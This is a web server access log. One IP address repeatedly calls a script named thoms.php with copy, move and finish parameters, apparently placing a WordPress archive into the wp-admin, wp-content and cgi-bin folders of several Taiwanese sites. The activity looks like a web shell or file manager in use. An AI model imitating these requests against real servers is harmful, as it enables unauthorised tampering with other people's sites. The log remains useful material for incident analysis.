45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fsync-sample HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?p=bft.com.tw%2Fsync-sample HTTP/1.1" 200 13410 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fsync-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:55 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?p=bft.com.tw%2Fupgrade HTTP/1.1" 200 13763 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?p=bft.com.tw%2Fwp-content HTTP/1.1" 200 13472 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bft.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 12560 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 12048 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 13761 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17425 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13280 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28837 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 200 13423 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17426 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:56 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 13630 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wp-content%2Fthemes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=wp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13153 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?p=wp-content%2Fthemes HTTP/1.1" 200 12950 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wp-content%2Fthemes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13158 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 59314 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 200 13429 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 200 12050 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 200 14169 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?p=bodbooks.com.tw%2F.well-known HTTP/1.1" 200 12597 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:57 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17438 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 200 13267 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 200 59438 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 200 13619 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17439 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 200 28862 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16671 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 200 29897 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16670 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:58 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 200 58396 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 200 13260 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=beauty-dental.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&finish=1&move=1&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:12:59 -0400] "GET /thoms.php?p=beauty-dental.com.tw%2Fcgi-bin HTTP/1.1" 200 12046 "https://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=beauty-dental.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
